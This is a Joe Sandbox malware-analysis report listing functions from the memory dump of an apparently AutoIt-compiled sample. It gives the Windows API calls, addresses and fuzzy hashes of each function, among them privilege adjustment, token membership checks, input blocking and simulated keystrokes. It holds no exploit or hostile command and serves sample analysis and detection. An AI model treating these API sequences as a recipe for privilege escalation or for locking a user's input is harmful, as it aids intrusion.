Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: c350885e730d845385a917e1e28c1a91fe6195b6eb7335b25f5deb7f7d038e58
Instruction ID: b4a7c69fe31ad45d214a0b248457badc58ee157461de6ac5e7cabe4c04b15324
Opcode Fuzzy Hash: c350885e730d845385a917e1e28c1a91fe6195b6eb7335b25f5deb7f7d038e58
Instruction Fuzzy Hash: B6313075A00618DFDB00DF54D888FAEBBB5FF49314F088099E8059B352DB35E856CB91

Function 008216C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 007DFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 007E0668
Part of subcall function 007DFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 007E0685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0082170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0082173A
GetLastError.KERNEL32 ref: 0082174A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 1ca467e48cd88397cb6f467f656fd69646389d35f16b642d2e1a89b9940ead60
Instruction ID: c5c4bebdd359da7738e28f175c0f787eef01f1c78b5dbc3fa96756cf843a8d3f
Opcode Fuzzy Hash: 1ca467e48cd88397cb6f467f656fd69646389d35f16b642d2e1a89b9940ead60
Instruction Fuzzy Hash: 1E11C4B1500308AFD7189F54EC8AD6BB7F9FB44714B20852EE05693241EB74BC418A20

Function 0082D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0082D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0082D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0082D650

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 908b57d00a773d566cfa060b9d8cc19afa5c85d2f184e77ffdfafcfd60531cb1
Instruction ID: 8ca2fb64506ee0136a5deb8e8dc1e0e369a1d18b870986b2ad6dbcb79faf95ea
Opcode Fuzzy Hash: 908b57d00a773d566cfa060b9d8cc19afa5c85d2f184e77ffdfafcfd60531cb1
Instruction Fuzzy Hash: B2115A75A01328BFDB108B94AC44BAFBFBCEB45B50F108111F914E7290C2744A018BE1

Function 00821663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0082168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 008216A1
FreeSid.ADVAPI32(?), ref: 008216B1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 88633034a830d78e39222853eed5c69aae2afe0f298de041f93ca422e5f8d130
Instruction ID: 9d117cfbce64223219f6fad3f8e8cda687736454418c79dfb69858b7830316e9
Opcode Fuzzy Hash: 88633034a830d78e39222853eed5c69aae2afe0f298de041f93ca422e5f8d130
Instruction Fuzzy Hash: 30F0F471950309FFDF00DFE49C89AAEBBBCFB08606F504565E501E2181E774AA448A50

Function 007FC2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 007FC36C

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 3421ba6684a3fe4febd347a3dd756ee8f566c1f6f2419d67a8bd0fdce8b1b199
Instruction ID: 370dd48423118ef907aa6bb45a3cfbda90c07b2896799114157edbe7bbda3162
Opcode Fuzzy Hash: 3421ba6684a3fe4febd347a3dd756ee8f566c1f6f2419d67a8bd0fdce8b1b199
Instruction Fuzzy Hash: 0F41267290021DAFCB209FB9DD49EBB77B8FB84354F1042A9FA15D7280E6759D81CB50

Function 008368EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00836918
FindClose.KERNEL32(00000000), ref: 00836961

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 5f50fcd9df2ceff515cb41240a528f378118e50811e49e0290395f5f2695e825
Instruction ID: ad3a254000084adc0876b2f50f9d1c212c33c4a503dc35e345705abc8a4fa975
Opcode Fuzzy Hash: 5f50fcd9df2ceff515cb41240a528f378118e50811e49e0290395f5f2695e825
Instruction Fuzzy Hash: 7D117C31604200AFC710DF29D488B16BBE5FF85329F14C69DE8698B6A2DB34EC05CB91

Function 008337B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00844891,?,?,00000035,?), ref: 008337E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00844891,?,?,00000035,?), ref: 008337F4

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: a51af313349052161755deb9e673d7d2f57ec76187e8424c5cbd3ec1fedd7e5e
Instruction ID: 546a499f8df207b88de0e17828b69375eca521a82fe90ac08822eb561bd65a1f
Opcode Fuzzy Hash: a51af313349052161755deb9e673d7d2f57ec76187e8424c5cbd3ec1fedd7e5e
Instruction Fuzzy Hash: 30F0E5B06043296AEB6017768C4DFEB3BAEFFC4761F000179F609D2291D9609904CBF0

Function 0082B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0082B25D
keybd_event.USER32(?,7694C0D0,?,00000000), ref: 0082B270

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 7203c404b4134019538a385ef0c67f8396eb36deb092c1b1c0b5e07b5e63e5ab
Instruction ID: 70e296ba3ac1022db4c4ea49949c0891c8b6b2d659e79fa57c9789c6e2d2e816
Opcode Fuzzy Hash: 7203c404b4134019538a385ef0c67f8396eb36deb092c1b1c0b5e07b5e63e5ab
Instruction Fuzzy Hash: E2F01D7180434DAFDB059FA4D805BAE7FB4FF0830AF008009F955A6192D3798651DF94

Function 008210BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,008211FC), ref: 008210D4
CloseHandle.KERNEL32(?,?,008211FC), ref: 008210E9

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 0d2527ced5c5cf5d71d5789a25b72d834ed232d394b80bc85bfe45a84f369678
Instruction ID: 8e83b5361f1b60d1c76ef1a3f9c9782daf363eb95e84eaf1fa1c36f7ff5ffe18
Opcode Fuzzy Hash: 0d2527ced5c5cf5d71d5789a25b72d834ed232d394b80bc85bfe45a84f369678
Instruction Fuzzy Hash: DCE04F32004B10EEEB252B51FC09E7377A9FB04311B20882EF4A6805B1DB666CD0DB50

Function 0083EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0083EABD

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: dfed2d944e567649ee5aeacb47d8230a7a143eb3fdd6bf239e72312f5d71267f
Instruction ID: d987e6ad258b909dae03e3b3ee334f162fad595c613ccb9e32d7c56a3581d5a1
Opcode Fuzzy Hash: dfed2d944e567649ee5aeacb47d8230a7a143eb3fdd6bf239e72312f5d71267f
Instruction Fuzzy Hash: 32E01A322002159FC710EF59D809E9AB7E9FFA8760F00841EFC49C7391DA74A8418B90

Function 007E09D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,007E03EE), ref: 007E09DA

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 58b9af771e2ca188bea57c2b146403731b525caf99fee8bfdf429199e74383ef
Instruction ID: 4b289d58ed6846241651945082a97c771a076513493dd050ca59505ecc453a3e
Opcode Fuzzy Hash: 58b9af771e2ca188bea57c2b146403731b525caf99fee8bfdf429199e74383ef
Instruction Fuzzy Hash:

Function 00842ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00842B30
DeleteObject.GDI32(00000000), ref: 00842B43
DestroyWindow.USER32 ref: 00842B52
GetDesktopWindow.USER32 ref: 00842B6D
GetWindowRect.USER32(00000000), ref: 00842B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00842CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00842CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842CF8
GetClientRect.USER32(00000000,?), ref: 00842D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00842D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842D80
GlobalLock.KERNEL32(00000000), ref: 00842D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842D98
GlobalUnlock.KERNEL32(00000000), ref: 00842DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842DA8
GlobalFree.KERNEL32(00000000), ref: 00842DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0085FC38,00000000), ref: 00842DDB
GlobalFree.KERNEL32(00000000), ref: 00842DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00842E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00842E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00842E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0084303F

Strings

, xrefs: 00842FC5
static, xrefs: 00842D3A, 00842E91
DISPLAY, xrefs: 00842EA2
AutoIt v3, xrefs: 00842CF2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8d9c176df576b11fb12cc5be776d6dd48d6324532d14457f18fb19c54485d619
Instruction ID: bac7b0a61116de4fa1221f45754291edfb99ed31310837df42f0f63bb99e4c95
Opcode Fuzzy Hash: 8d9c176df576b11fb12cc5be776d6dd48d6324532d14457f18fb19c54485d619
Instruction Fuzzy Hash: BD023771900209EFDB14DFA4DC89EAE7BB9FB48711F048159F915AB2A1DB78AD01CF60

Function 008570D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0085712F
GetSysColorBrush.USER32(0000000F), ref: 00857160
GetSysColor.USER32(0000000F), ref: 0085716C
SetBkColor.GDI32(?,000000FF), ref: 00857186
SelectObject.GDI32(?,?), ref: 00857195
InflateRect.USER32(?,000000FF,000000FF), ref: 008571C0
GetSysColor.USER32(00000010), ref: 008571C8
CreateSolidBrush.GDI32(00000000), ref: 008571CF
FrameRect.USER32(?,?,00000000), ref: 008571DE
DeleteObject.GDI32(00000000), ref: 008571E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00857230
FillRect.USER32(?,?,?), ref: 00857262
GetWindowLongW.USER32(?,000000F0), ref: 00857284

Part of subcall function 008573E8: GetSysColor.USER32(00000012), ref: 00857421
Part of subcall function 008573E8: SetTextColor.GDI32(?,?), ref: 00857425
Part of subcall function 008573E8: GetSysColorBrush.USER32(0000000F), ref: 0085743B
Part of subcall function 008573E8: GetSysColor.USER32(0000000F), ref: 00857446
Part of subcall function 008573E8: GetSysColor.USER32(00000011), ref: 00857463
Part of subcall function 008573E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00857471
Part of subcall function 008573E8: SelectObject.GDI32(?,00000000), ref: 00857482
Part of subcall function 008573E8: SetBkColor.GDI32(?,00000000), ref: 0085748B
Part of subcall function 008573E8: SelectObject.GDI32(?,?), ref: 00857498
Part of subcall function 008573E8: InflateRect.USER32(?,000000FF,000000FF), ref: 008574B7
Part of subcall function 008573E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 008574CE
Part of subcall function 008573E8: GetWindowLongW.USER32(00000000,000000F0), ref: 008574DB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 04c119a3e57265d3ee4e7582af4b6e0be8bc2267e91f29c11539b5b228231298
Instruction ID: 613af097dd048f79602dde4377ab3607ecc6dfae2ddd3f88496ef5504128bd9c
Opcode Fuzzy Hash: 04c119a3e57265d3ee4e7582af4b6e0be8bc2267e91f29c11539b5b228231298
Instruction Fuzzy Hash: D2A19072008701AFDB019F64DC48A5BBBA9FB49322F104A19F9A2D61E1E779E948CF51

Function 00842711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0084273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0084286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 008428A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 008428B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00842900
GetClientRect.USER32(00000000,?), ref: 0084290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00842955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00842964
GetStockObject.GDI32(00000011), ref: 00842974
SelectObject.GDI32(00000000,00000000), ref: 00842978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00842988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00842991
DeleteDC.GDI32(00000000), ref: 0084299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 008429C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 008429DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00842A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00842A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00842A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00842A77
GetStockObject.GDI32(00000011), ref: 00842A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00842A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00842A97

Strings

static, xrefs: 0084294F, 00842A71
msctls_progress32, xrefs: 00842A13
DISPLAY, xrefs: 0084295A
AutoIt v3, xrefs: 008428F8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: e1f576ec30ccbcc831cb241bac210fa42b2e2981c165b36a55fc6f984f0b99e0
Instruction ID: 6ac38a78566d360cebea23bc96c49bb84e08a12921675d66f08985a8a889a2a9
Opcode Fuzzy Hash: e1f576ec30ccbcc831cb241bac210fa42b2e2981c165b36a55fc6f984f0b99e0
Instruction Fuzzy Hash: 47B13A71A40219AFEB14DF68DC8AFAE7BB9FB08715F004159F915E7290DB78AD40CB90

Function 00834ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00834AED
GetDriveTypeW.KERNEL32(?,0085CB68,?,\\.\,0085CC08), ref: 00834BCA
SetErrorMode.KERNEL32(00000000,0085CB68,?,\\.\,0085CC08), ref: 00834D36

Strings

Virtual, xrefs: 00834CE5
Unknown, xrefs: 00834BED, 00834C83
RAMDisk, xrefs: 00834BF4
MMC, xrefs: 00834CDE
1394, xrefs: 00834C9F
Network, xrefs: 00834C02
Fixed, xrefs: 00834C09
SSD, xrefs: 00834C4A
FileBackedVirtual, xrefs: 00834CEC
SAS, xrefs: 00834CC9
CDROM, xrefs: 00834BFB
SATA, xrefs: 00834CD0
SCSI, xrefs: 00834C8A
iSCSI, xrefs: 00834CC2
\\.\, xrefs: 00834B3F
USB, xrefs: 00834CB4
Removable, xrefs: 00834C10, 00834C15
Fibre, xrefs: 00834CAD
PhysicalDrive, xrefs: 00834B76
RAID, xrefs: 00834CBB
SSA, xrefs: 00834CA6
ATA, xrefs: 00834C98
ATAPI, xrefs: 00834C91

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 0c4e2900f506a46f576bb863c48a62ac30786e7256529912e7b718f52fe51936
Instruction ID: 855fe11cbfef22b4d75f868a83d3eee09bb7f09193d7fbd345608dd7cf203110
Opcode Fuzzy Hash: 0c4e2900f506a46f576bb863c48a62ac30786e7256529912e7b718f52fe51936
Instruction Fuzzy Hash: C4619330605209DBCB14EF64CA85D69B7A1FB84304F24A419F816EB752EB3AFD52DBC1

Function 008573E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00857421
